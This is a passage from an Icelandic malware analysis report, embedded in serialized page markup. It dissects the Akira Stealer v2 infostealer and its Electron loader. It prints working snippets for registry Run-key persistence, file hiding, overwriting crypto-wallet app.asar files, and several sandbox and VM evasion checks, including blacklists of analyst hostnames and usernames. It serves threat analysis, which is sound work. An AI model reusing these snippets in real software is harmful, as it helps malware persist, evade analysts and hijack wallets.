",[1685,4319,3788],{"class":2996},[1685,4321,3791],{"class":3006},[1685,4323,4324,4327,4329,4331],{"class":1687,"line":2064},[1685,4325,4326],{"class":2771},"  exec",[1685,4328,3198],{"class":3006},[1685,4330,4299],{"class":2996},[1685,4332,3063],{"class":3006},[1685,4334,4335,4338,4341],{"class":1687,"line":2070},[1685,4336,4337],{"class":3006},"}, ",[1685,4339,4340],{"class":2779},"5000",[1685,4342,3063],{"class":3006},[532,4344,4345],{},"Þetta tryggir að þótt fyrsta keyrslan bregðist (t.d. vegna álags á kerfinu eða kappræðisaðstæðna) reyni malware-ið að ræsa binary-ið aftur eftir skamma stund.",[532,4347,4348],{},[539,4349,4350],{},"Notkunartilvik binders",[532,4352,4353],{},"Þótt nákvæmur tilgangur binder-binaries komi ekki fram í þessu tiltekna sýni (vegna staðgengils-URL-sins) eru slíkir hlutar almennt notaðir til að:",[603,4355,4356,4359,4362,4365],{},[606,4357,4358],{},"Setja upp eða ræsa meginhluta malware-sins að nýju",[606,4360,4361],{},"Birta fölsuð uppsetningarforrit eða tálbeituforrit",[606,4363,4364],{},"Dreifa frekari spyware, bakdyrum eða ransomware",[606,4366,4367],{},"Breyta kerfisstillingum eða gera öryggiseiginleika óvirka",[713,4369,4371],{"id":4370},"_63-samantekt","6.3 Samantekt",[532,4373,719],{},[532,4375,4376,4378],{},[550,4377,2813],{}," er mjög obfuskeraður og dulkóðaður JavaScript-loader sem notar dulkóðun að iðnaðarstaðli (PBKDF2 + AES-256-CBC) til að vernda sinn raunverulega tilgang. Eftir afkóðun starfar hann sem fullburða loader á öðru þrepi sem:",[603,4380,4381,4386,4389,4394],{},[606,4382,4383,4384,1111],{},"Sækir frekara malware (",[550,4385,2874],{},[606,4387,4388],{},"Breytir hegðun payloadsins dýnamískt",[606,4390,4391,4392,1111],{},"Ræsir hið eiginlega stealer-script (",[550,4393,581],{},[606,4395,4396,4397],{},"Styrkir persistence með því að endurheimta ",[550,4398,573],{},[532,4400,4401,4402,4405],{},"Samsetning dulkóðunar, dýnamískrar keyrslu, einingaskiptrar sóknar payloads og fileless reksturs sýnir ",[539,4403,4404],{},"mjög háþróaðan JavaScript-byggðan malware-arkitektúr"," sem nýtir getu Node.js inni í Electron-skel.",[527,4407,4409,4410,1111],{"id":4408},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[550,4411,581],{},[532,4413,534],{},[713,4415,4417],{"id":4416},"_71-virkni-í-stórum-dráttum","7.1. Virkni í stórum dráttum",[532,4419,719],{},[532,4421,4422,4423,4425],{},"Akira Stealer v2 (",[550,4424,581],{},") er fjölvirkt og einingaskipt infostealer-malware skrifað í Python. Því er ætlað að exfiltrera breitt safn viðkvæmra notandagagna, bæði úr Chromium- og Firefox-byggðum browsers, úr kryptóveskjum, samskiptaforritum (t.d. Discord, Telegram) og kerfisskrám. Það hefur fágaðan búnað til að komast hjá greiningu, persistence í registry, yfirtöku á klippiborði og aðferðir til innspýtingar í minni.",[713,4427,4429],{"id":4428},"_72-persistence-og-dreifing","7.2 Persistence og dreifing",[532,4431,719],{},[861,4433,4435],{"id":4434},"_721-samhengi-keyrslukeðjunnar","7.2.1 Samhengi keyrslukeðjunnar",[532,4437,867],{},[532,4439,4440,4442],{},[550,4441,581],{}," er ekki keyrt eitt og sér heldur er það lokapayloadinn í árásarkeðju með margar þrep:",[587,4444,4448],{"className":4445,"code":4446,"language":4447,"meta":593,"style":593},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[550,4449,4450,4455,4460,4465],{"__ignoreMap":593},[1685,4451,4452],{"class":1687,"line":1688},[1685,4453,4454],{},"Updater.exe\n",[1685,4456,4457],{"class":1687,"line":2064},[1685,4458,4459],{},"  └── main.exe (Electron app)\n",[1685,4461,4462],{"class":1687,"line":2070},[1685,4463,4464],{},"        └── cmd.exe\n",[1685,4466,4467],{"class":1687,"line":2076},[1685,4468,4469],{},"              └── python.exe astor.py\n",[532,4471,4472,4473,4475],{},"Þessi skipulagða keyrslukeðja gerir hverju þrepi kleift að komast hjá detection með því að framselja illgjarna virkni til næsta þreps. ",[550,4474,573],{}," hefur röðina og er ábyrgt fyrir því að viðhalda persistence.",[861,4477,4479],{"id":4478},"_722-persistence-byggt-á-registry","7.2.2 Persistence byggt á registry",[532,4481,867],{},[532,4483,4484,4485,4487],{},"Akira kemur persistence á með því að skrifa registry-lykil undir Run-slóð núverandi notanda. Það tryggir að ",[550,4486,573],{}," sé keyrt við hverja ræsingu kerfisins:",[587,4489,4493],{"className":4490,"code":4491,"language":4492,"meta":593,"style":593},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[550,4494,4495,4500],{"__ignoreMap":593},[1685,4496,4497],{"class":1687,"line":1688},[1685,4498,4499],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1685,4501,4502],{"class":1687,"line":2064},[1685,4503,4504],{},"os.system(command)\n",[603,4506,4507,4514,4521],{},[606,4508,4509,971,4512],{},[539,4510,4511],{},"Slóð",[550,4513,1657],{},[606,4515,4516,971,4518,4520],{},[539,4517,1662],{},[550,4519,1665],{}," (valið til að virðast meinlaust)",[606,4522,4523,4525,4526],{},[539,4524,1670],{},": yfirleitt í ",[550,4527,4528],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[532,4530,4531,4532,4535],{},"Þessi skipun skrifar autorun-færsluna hljóðlega í gegnum PowerShell eða innbyggða ",[550,4533,4534],{},"os.system()","-keyrslu.",[861,4537,4539],{"id":4538},"_723-að-fela-skrána","7.2.3 Að fela skrána",[532,4541,867],{},[532,4543,4544],{},"Til að hylja binary-ið enn frekar fyrir notendum og einföldum AV-skönnunum er skráin merkt með hidden- og system-eigindum:",[587,4546,4548],{"className":4490,"code":4547,"language":4492,"meta":593,"style":593},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[550,4549,4550],{"__ignoreMap":593},[1685,4551,4552],{"class":1687,"line":1688},[1685,4553,4547],{},[603,4555,4556,4562],{},[606,4557,4558,4561],{},[550,4559,4560],{},"+h",": merkir skrána sem falda",[606,4563,4564,4567],{},[550,4565,4566],{},"+s",": merkir skrána sem varða kerfisskrá",[532,4569,4570],{},"Þetta fjarlægir skrána í reynd úr venjulegum sýnum í Windows Explorer og gerir hana enn ósýnilegri.",[861,4572,4574],{"id":4573},"_724-aðferðir-til-endursýkingar","7.2.4 Aðferðir til endursýkingar",[532,4576,867],{},[532,4578,4579,4580,4582,4583,619,4586,4589],{},"Malware-ið styður sjálfsafritun og endursýkingu með því að yfirtaka Electron-forrit. Nánar tiltekið skiptir það út ",[550,4581,1045],{},"-safnskránni í Electron-byggðum skjáborðsveskjum (t.d. ",[539,4584,4585],{},"Exodus",[539,4587,4588],{},"Atomic Wallet",") til að keyra illgjarnt JavaScript þegar lögmæta forritið er ræst.",[532,4591,4592],{},"Rökvísin leitar að þekktum slóðum veskjaforrita:",[587,4594,4596],{"className":4490,"code":4595,"language":4492,"meta":593,"style":593},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[550,4597,4598],{"__ignoreMap":593},[1685,4599,4600],{"class":1687,"line":1688},[1685,4601,4595],{},[532,4603,4604,4605,4607],{},"Ef markskráin er til er skrifað yfir hana með vopnaðri safnskrá. Það tryggir persistence jafnvel eftir að ",[550,4606,573],{}," hefur verið fjarlægt handvirkt.",[713,4609,4611,4612,1111],{"id":4610},"_73-vörn-gegn-greiningu-og-evasion-klasi-vmprotect","7.3 Vörn gegn greiningu og evasion (klasi: ",[550,4613,4614],{},"VmProtect",[532,4616,719],{},[861,4618,4620],{"id":4619},"_731-inngangur","7.3.1 Inngangur",[532,4622,867],{},[532,4624,4625,4626,4629,4630,4632],{},"Í nútíma malware-herferðum er það lykilatriði að komast hjá greiningu í sýndar- og sandbox-umhverfum til að haldast ósýnilegur. ",[4627,4628,650],"em",{}," hefur heildstæða einingu til detection á VM og sandbox (",[550,4631,4614],{},") sem finnur af hörku umhverfi sem greinendur stýra og stöðvar keyrslu í þeim. Þessi skýrsla tekur í sundur hverja detection-aðferð, birtir nákvæm kóðabrot, þar á meðal fullar skilgreiningar svartlista, og lýsir þeirri greiningaraðferð sem var notuð.",[861,4634,4636],{"id":4635},"_732-yfirlit","7.3.2 Yfirlit",[532,4638,867],{},[532,4640,4641,4643],{},[550,4642,4614],{},"-klasinn útfærir öfluga detection á VM og sandbox til að stöðva keyrslu í tæka tíð í greiningarumhverfum. Hann styður tvö detection-stig:",[603,4645,4646,4652],{},[606,4647,4648,4651],{},[539,4649,4650],{},"Stig 1",": léttar og hraðar athuganir",[606,4653,4654,4657],{},[539,4655,4656],{},"Stig 2",": djúpar og heildstæðar prófanir",[532,4659,2362,4660,4663,4664,4667,4668,4671],{},[550,4661,4662],{},"VmProtect.isVM(level)"," skilar ",[550,4665,4666],{},"True"," kallar malware-ið á ",[550,4669,4670],{},"sys.exit()"," og hindrar frekari greiningu.",[861,4673,4675],{"id":4674},"_733-detection-stig","7.3.3 Detection-stig",[532,4677,867],{},[1390,4679,4680,4681],{},"\n  ",[1406,4682,4683,4680,4692,4680,4702,4680,4711,4680,4720,4680,4730,4680,4739,4680,4748],{},[1396,4684,4685,4686,4685,4688,4685,4690,4680],{},"\n    ",[1399,4687,1401],{},[1399,4689,4650],{},[1399,4691,4656],{},[1396,4693,4685,4694,4685,4697,4685,4700,4680],{},[1411,4695,4696],{},"HTTPSimulation",[1411,4698,4699],{},"✔️",[1411,4701,4699],{},[1396,4703,4685,4704,4685,4707,4685,4709,4680],{},[1411,4705,4706],{},"Svartlisti tölvuheita",[1411,4708,4699],{},[1411,4710,4699],{},[1396,4712,4685,4713,4685,4716,4685,4718,4680],{},[1411,4714,4715],{},"Svartlisti notandareikninga",[1411,4717,4699],{},[1411,4719,4699],{},[1396,4721,4685,4722,4685,4725,4685,4728,4680],{},[1411,4723,4724],{},"Svartlisti vélbúnaðar-UUID",[1411,4726,4727],{},"❌",[1411,4729,4699],{},[1396,4731,4685,4732,4685,4735,4685,4737,4680],{},[1411,4733,4734],{},"API-athugun á opinberri hýsingu",[1411,4736,4727],{},[1411,4738,4699],{},[1396,4740,4685,4741,4685,4744,4685,4746,4680],{},[1411,4742,4743],{},"Vísbendingar úr registry og GPU",[1411,4745,4727],{},[1411,4747,4699],{},[1396,4749,4685,4750,4685,4753,4685,4755,4680],{},[1411,4751,4752],{},"Bakgrunnsferli sem drepur tasks",[1411,4754,4699],{},[1411,4756,4699],{},[826,4758],{"className":4759},[829,830],[861,4761,4763,4764],{"id":4762},"_734-arkitektúr-vmprotect","7.3.4 Arkitektúr ",[550,4765,4614],{},[532,4767,867],{},[532,4769,4770,4772],{},[550,4771,4614],{},"-klasinn býður upp á eftirfarandi megin-aðferðir:",[603,4774,4775,4782,4789,4796,4803,4810,4817,4824],{},[606,4776,4777],{},[539,4778,4779],{},[550,4780,4781],{},"checkUUID()",[606,4783,4784],{},[539,4785,4786],{},[550,4787,4788],{},"checkComputerName()",[606,4790,4791],{},[539,4792,4793],{},[550,4794,4795],{},"checkUsers()",[606,4797,4798],{},[539,4799,4800],{},[550,4801,4802],{},"checkHosting()",[606,4804,4805],{},[539,4806,4807],{},[550,4808,4809],{},"checkHTTPSimulation()",[606,4811,4812],{},[539,4813,4814],{},[550,4815,4816],{},"checkRegistry()",[606,4818,4819],{},[539,4820,4821],{},[550,4822,4823],{},"killTasks()",[606,4825,4826],{},[539,4827,4828],{},[550,4829,4830],{},"isVM(level)",[532,4832,4833,4834,4837],{},"Hver aðferð skilar bólsku gildi eða keyrir evasion-skref. ",[550,4835,4836],{},"isVM","-wrapperinn safnar þessum athugunum saman eftir því hvaða stig er tilgreint.",[1390,4839,4680,4840],{},[1406,4841,4842,4680,4853,4680,4867,4680,4881,4680,4894,4680,4907,4680,4920,4680,4933,4680,4948],{},[1396,4843,4685,4844,4685,4847,4685,4850,4680],{},[1399,4845,4846],{},"Aðferð",[1399,4848,4849],{},"Kveikt af",[1399,4851,4852],{},"Lýsing",[1396,4854,4685,4855,4685,4859,4685,4864,4680],{},[1411,4856,4857],{},[550,4858,4781],{},[1411,4860,4861],{},[550,4862,4863],{},"isVM(2)",[1411,4865,4866],{},"Svartlisti WMI-UUID",[1396,4868,4685,4869,4685,4873,4685,4878,4680],{},[1411,4870,4871],{},[550,4872,4788],{},[1411,4874,4875],{},[550,4876,4877],{},"isVM(1,2)",[1411,4879,4880],{},"Samsvörun á hostname úr umhverfisbreytum",[1396,4882,4685,4883,4685,4887,4685,4891,4680],{},[1411,4884,4885],{},[550,4886,4795],{},[1411,4888,4889],{},[550,4890,4877],{},[1411,4892,4893],{},"Svartlisti notandanafna",[1396,4895,4685,4896,4685,4900,4685,4904,4680],{},[1411,4897,4898],{},[550,4899,4802],{},[1411,4901,4902],{},[550,4903,4863],{},[1411,4905,4906],{},"Athugun á IP-hýsingaraðila í gegnum ip-api.com",[1396,4908,4685,4909,4685,4913,4685,4917,4680],{},[1411,4910,4911],{},[550,4912,4809],{},[1411,4914,4915],{},[550,4916,4877],{},[1411,4918,4919],{},"Detection á HTTPS-hlerun",[1396,4921,4685,4922,4685,4926,4685,4930,4680],{},[1411,4923,4924],{},[550,4925,4816],{},[1411,4927,4928],{},[550,4929,4863],{},[1411,4931,4932],{},"Artifacts úr registry og GPU-driverum",[1396,4934,4685,4935,4685,4939,4685,4945,4680],{},[1411,4936,4937],{},[550,4938,4823],{},[1411,4940,4941,4944],{},[550,4942,4943],{},"isVM(...)"," spawn",[1411,4946,4947],{},"Stöðvar þekkt greiningarferli",[1396,4949,4685,4950,4685,4954,4685,4957,4680],{},[1411,4951,4952],{},[550,4953,4830],{},[1411,4955,4956],{},"init",[1411,4958,4959,4960,4962],{},"Safnar athugunum saman og kallar á ",[550,4961,4823],{},"-þráðinn",[826,4964],{"className":4965},[829,830],[587,4967,4969],{"className":4490,"code":4968,"language":4492,"meta":593,"style":593},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[550,4970,4971,4976,4981,4986,4991,4996,5001,5006,5011,5016,5021,5027,5033,5039,5045,5051,5057,5063,5069,5075,5081,5087,5093,5099,5105],{"__ignoreMap":593},[1685,4972,4973],{"class":1687,"line":1688},[1685,4974,4975],{},"@staticmethod\n",[1685,4977,4978],{"class":1687,"line":2064},[1685,4979,4980],{},"def isVM(level: int) -> bool:\n",[1685,4982,4983],{"class":1687,"line":2070},[1685,4984,4985],{},"    # Always start background task-killer\n",[1685,4987,4988],{"class":1687,"line":2076},[1685,4989,4990],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1685,4992,4993],{"class":1687,"line":2398},[1685,4994,4995],{},"    if level == 1:\n",[1685,4997,4998],{"class":1687,"line":2404},[1685,4999,5000],{},"        # Fast path: HTTPS, hostname & user\n",[1685,5002,5003],{"class":1687,"line":3060},[1685,5004,5005],{},"        return (\n",[1685,5007,5008],{"class":1687,"line":3855},[1685,5009,5010],{},"            VmProtect.checkHTTPSimulation()\n",[1685,5012,5013],{"class":1687,"line":3861},[1685,5014,5015],{},"            or VmProtect.checkComputerName()\n",[1685,5017,5018],{"class":1687,"line":4106},[1685,5019,5020],{},"            or VmProtect.checkUsers()\n",[1685,5022,5024],{"class":1687,"line":5023},11,[1685,5025,5026],{},"        )\n",[1685,5028,5030],{"class":1687,"line":5029},12,[1685,5031,5032],{},"    if level == 2:\n",[1685,5034,5036],{"class":1687,"line":5035},13,[1685,5037,5038],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1685,5040,5042],{"class":1687,"line":5041},14,[1685,5043,5044],{},"        try:\n",[1685,5046,5048],{"class":1687,"line":5047},15,[1685,5049,5050],{},"            return (\n",[1685,5052,5054],{"class":1687,"line":5053},16,[1685,5055,5056],{},"                VmProtect.checkHTTPSimulation()\n",[1685,5058,5060],{"class":1687,"line":5059},17,[1685,5061,5062],{},"                or VmProtect.checkUUID()\n",[1685,5064,5066],{"class":1687,"line":5065},18,[1685,5067,5068],{},"                or VmProtect.checkComputerName()\n",[1685,5070,5072],{"class":1687,"line":5071},19,[1685,5073,5074],{},"                or VmProtect.checkUsers()\n",[1685,5076,5078],{"class":1687,"line":5077},20,[1685,5079,5080],{},"                or VmProtect.checkHosting()\n",[1685,5082,5084],{"class":1687,"line":5083},21,[1685,5085,5086],{},"                or VmProtect.checkRegistry()\n",[1685,5088,5090],{"class":1687,"line":5089},22,[1685,5091,5092],{},"            )\n",[1685,5094,5096],{"class":1687,"line":5095},23,[1685,5097,5098],{},"        except:\n",[1685,5100,5102],{"class":1687,"line":5101},24,[1685,5103,5104],{},"            return False\n",[1685,5106,5108],{"class":1687,"line":5107},25,[1685,5109,5110],{},"    return False\n",[861,5112,5114],{"id":5113},"_735-uuid-athugun-að-finna-sýndarvélar-út-frá-vélbúnaðar-uuid","7.3.5 UUID-athugun – að finna sýndarvélar út frá vélbúnaðar-UUID",[532,5116,867],{},[532,5118,5119],{},"Algeng taktík í evasion malware-sins er að taka fingrafar af vélbúnaðarumhverfinu. Eitt fyrsta auðkennið sem getur gefið sýndarvél til kynna er kerfis-UUID-ið (Universally Unique Identifier). Sýndarvæðingarpallar eins og VMware og VirtualBox mynda oft UUID sem eru forspáanleg eða endurnotuð, og malware getur notað þau til að ráða í hvort það keyri í sýndar- eða sandbox-umhverfi.",[587,5121,5123],{"className":4490,"code":5122,"language":4492,"meta":593,"style":593},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[550,5124,5125,5129,5134,5139,5144,5149,5154,5159,5164,5169],{"__ignoreMap":593},[1685,5126,5127],{"class":1687,"line":1688},[1685,5128,4975],{},[1685,5130,5131],{"class":1687,"line":2064},[1685,5132,5133],{},"def checkUUID() -> bool:\n",[1685,5135,5136],{"class":1687,"line":2070},[1685,5137,5138],{},"    try:\n",[1685,5140,5141],{"class":1687,"line":2076},[1685,5142,5143],{},"        raw = subprocess.run(\n",[1685,5145,5146],{"class":1687,"line":2398},[1685,5147,5148],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1685,5150,5151],{"class":1687,"line":2404},[1685,5152,5153],{},"            capture_output=True\n",[1685,5155,5156],{"class":1687,"line":3060},[1685,5157,5158],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1685,5160,5161],{"class":1687,"line":3855},[1685,5162,5163],{},"    except:\n",[1685,5165,5166],{"class":1687,"line":3861},[1685,5167,5168],{},"        raw = \"\"\n",[1685,5170,5171],{"class":1687,"line":4106},[1685,5172,5173],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[532,5175,5176],{},"Þessi athugun nýtir Windows Management Instrumentation Command-line (WMIC) tólið til að draga út UUID hostvélarinnar. Gildið sem kemur til baka er svo borið við valinn lista af UUID sem almennt eru tengd við sniðmát sýndarvéla eða þekktar greiningaruppsetningar.",[861,5178,5180],{"id":5179},"_736-athugun-á-tölvuheiti-að-finna-sandbox-og-greiningarumhverfi-út-frá-hostname","7.3.6 Athugun á tölvuheiti – að finna sandbox- og greiningarumhverfi út frá hostname",[532,5182,867],{},[532,5184,5185,5186,5189],{},"Hostname kerfisins, sem lesið er úr umhverfisbreytunni ",[550,5187,5188],{},"%COMPUTERNAME%",", gefur oft vísbendingar um umhverfið. Greinendur nota oft sjálfgefin eða fljótgerð hostname eins og \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\" eða jafnvel heiti sem tengjast þeirra innri umhverfum. Malware nýtir þetta og ber hostname kerfisins við svartlista.",[587,5191,5193],{"className":4490,"code":5192,"language":4492,"meta":593,"style":593},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[550,5194,5195,5199,5204,5209,5214,5218,5223,5228,5233,5238],{"__ignoreMap":593},[1685,5196,5197],{"class":1687,"line":1688},[1685,5198,4975],{},[1685,5200,5201],{"class":1687,"line":2064},[1685,5202,5203],{},"def checkComputerName() -> bool:\n",[1685,5205,5206],{"class":1687,"line":2070},[1685,5207,5208],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1685,5210,5211],{"class":1687,"line":2076},[1685,5212,5213],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1685,5215,5216],{"class":1687,"line":2398},[1685,5217,3852],{"emptyLinePlaceholder":325},[1685,5219,5220],{"class":1687,"line":2404},[1685,5221,5222],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1685,5224,5225],{"class":1687,"line":3060},[1685,5226,5227],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1685,5229,5230],{"class":1687,"line":3855},[1685,5231,5232],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1685,5234,5235],{"class":1687,"line":3861},[1685,5236,5237],{},"    # ... dozens more entries ...\n",[1685,5239,5240],{"class":1687,"line":4106},[1685,5241,5242],{},")\n",[532,5244,5245],{},"Ef samsvörun finnst getur malware-ið valið að stöðva keyrslu eða dreifa fölsuðum payload og komast þannig hjá fullri hegðunargreiningu.",[861,5247,5249],{"id":5248},"_737-athugun-á-notandareikningi-að-greina-reikninga-greinenda-og-sjálfgefna-reikninga","7.3.7 Athugun á notandareikningi – að greina reikninga greinenda og sjálfgefna reikninga",[532,5251,867],{},[532,5253,5254],{},"Önnur heuristík byggir á því að skoða notandanafnið sem malware-ið keyrir undir. Mörg sniðmát sýndarvéla og sandboxa endurnota algeng notandanöfn eins og \"Abby\", \"Test\" eða \"wdagutilityaccount\". Þessi nöfn hafa litla óreiðu og eru oft harðkóðuð í sandbox-umhverfum með opnum kóða.",[587,5256,5258],{"className":4490,"code":5257,"language":4492,"meta":593,"style":593},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[550,5259,5260,5264,5269,5274,5279,5283,5288,5293,5298,5303],{"__ignoreMap":593},[1685,5261,5262],{"class":1687,"line":1688},[1685,5263,4975],{},[1685,5265,5266],{"class":1687,"line":2064},[1685,5267,5268],{},"def checkUsers() -> bool:\n",[1685,5270,5271],{"class":1687,"line":2070},[1685,5272,5273],{},"    user = os.getlogin().lower()\n",[1685,5275,5276],{"class":1687,"line":2076},[1685,5277,5278],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1685,5280,5281],{"class":1687,"line":2398},[1685,5282,3852],{"emptyLinePlaceholder":325},[1685,5284,5285],{"class":1687,"line":2404},[1685,5286,5287],{},"BLACKLISTED_USERS = (\n",[1685,5289,5290],{"class":1687,"line":3060},[1685,5291,5292],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1685,5294,5295],{"class":1687,"line":3855},[1685,5296,5297],{},"    'a.monaldo','tvm',\n",[1685,5299,5300],{"class":1687,"line":3861},[1685,5301,5302],{},"    # ... 30+ more entries ...\n",[1685,5304,5305],{"class":1687,"line":4106},[1685,5306,5242],{},[532,5308,5309],{},"Þessi athugun styrkir detection með því að beinast að notandasamhenginu, sem getur haldist óbreytt jafnvel eftir endurræsingar eða snapshots sýndarvéla.",[861,5311,5313],{"id":5312},"_738-hýsingarathugun-að-finna-opinbera-cloud-innviði","7.3.8 Hýsingarathugun – að finna opinbera cloud-innviði",[532,5315,867],{},[532,5317,5318,5319,5322],{},"Sumt malware notar utanaðkomandi IP-upplýsingaþjónustur til að athuga hvort sýkta kerfið sé í þekktu gagnaveri eða hjá cloud-veitanda. Í þessu tilviki er einföld HTTP-beiðni send á ",[550,5320,5321],{},"ip-api.com"," og spurt hvort IP-ið sé merkt sem \"hosting\".",[587,5324,5326],{"className":4490,"code":5325,"language":4492,"meta":593,"style":593},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[550,5327,5328,5332,5337,5342,5346,5351,5356,5361,5366,5370],{"__ignoreMap":593},[1685,5329,5330],{"class":1687,"line":1688},[1685,5331,4975],{},[1685,5333,5334],{"class":1687,"line":2064},[1685,5335,5336],{},"def checkHosting() -> bool:\n",[1685,5338,5339],{"class":1687,"line":2070},[1685,5340,5341],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1685,5343,5344],{"class":1687,"line":2076},[1685,5345,5138],{},[1685,5347,5348],{"class":1687,"line":2398},[1685,5349,5350],{},"        return http.request(\n",[1685,5352,5353],{"class":1687,"line":2404},[1685,5354,5355],{},"            'GET',\n",[1685,5357,5358],{"class":1687,"line":3060},[1685,5359,5360],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1685,5362,5363],{"class":1687,"line":3855},[1685,5364,5365],{},"        ).data.decode().strip() == 'true'\n",[1685,5367,5368],{"class":1687,"line":3861},[1685,5369,5163],{},[1685,5371,5372],{"class":1687,"line":4106},[1685,5373,5374],{},"        return False\n",[532,5376,5377],{},"Þetta gerir malware-inu kleift að ákvarða hvort það keyri á innviðum í eigu Microsoft Azure, AWS, DigitalOcean og svo framvegis, sem er viðvörunarmerki um sandbox.",[861,5379,5381],{"id":5380},"_739-https-hermunarathugun-að-leita-að-ssl-hlerun","7.3.9 HTTPS-hermunarathugun – að leita að SSL-hlerun",[532,5383,867],{},[532,5385,5386,5387,5390],{},"Til að finna umhverfi með SSL-skoðun (algengt í fyrirtækja- og rannsóknarnetum) sendir malware-ið meinlausa HTTPS-beiðni á handahófskennt undirlén undir ",[550,5388,5389],{},".in",". Ef tengingin bregst, vegna DNS-síunar, hlerunarproxa eða þess að certificate pinning misheppnast, getur það verið merki um að malware-ið sé í greiningu.",[587,5392,5394],{"className":4490,"code":5393,"language":4492,"meta":593,"style":593},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[550,5395,5396,5400,5405,5410,5414,5419,5423,5427],{"__ignoreMap":593},[1685,5397,5398],{"class":1687,"line":1688},[1685,5399,4975],{},[1685,5401,5402],{"class":1687,"line":2064},[1685,5403,5404],{},"def checkHTTPSimulation() -> bool:\n",[1685,5406,5407],{"class":1687,"line":2070},[1685,5408,5409],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1685,5411,5412],{"class":1687,"line":2076},[1685,5413,5138],{},[1685,5415,5416],{"class":1687,"line":2398},[1685,5417,5418],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1685,5420,5421],{"class":1687,"line":2404},[1685,5422,5163],{},[1685,5424,5425],{"class":1687,"line":3060},[1685,5426,5374],{},[1685,5428,5429],{"class":1687,"line":3855},[1685,5430,5431],{},"    return True\n",[532,5433,5434],{},"Þessi fíngerða aðferð prófar heilleika netleiðarinnar án þess að kveikja á viðvörunum eða krefjast sérstakra innviða.",[861,5436,5438],{"id":5437},"_7310-athugun-á-registry-og-gpu-driverum-að-finna-signature-sýndar-gpu","7.3.10 Athugun á registry og GPU-driverum – að finna signature sýndar-GPU",[532,5440,867],{},[532,5442,5443,5444,5447],{},"Tiltekin sýndarumhverfi koma upp um sig með registry-lyklum eða lýsingum á GPU-driverum. Akira keyrir tvöfalda stefnu: það gerir fyrirspurnir í registry-færslur sem tengjast grafíkundirkerfinu og skoðar sérstaklega úttak ",[550,5445,5446],{},"wmic"," með tilliti til grunsamlegra GPU-strengja.",[587,5449,5451],{"className":4490,"code":5450,"language":4492,"meta":593,"style":593},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in 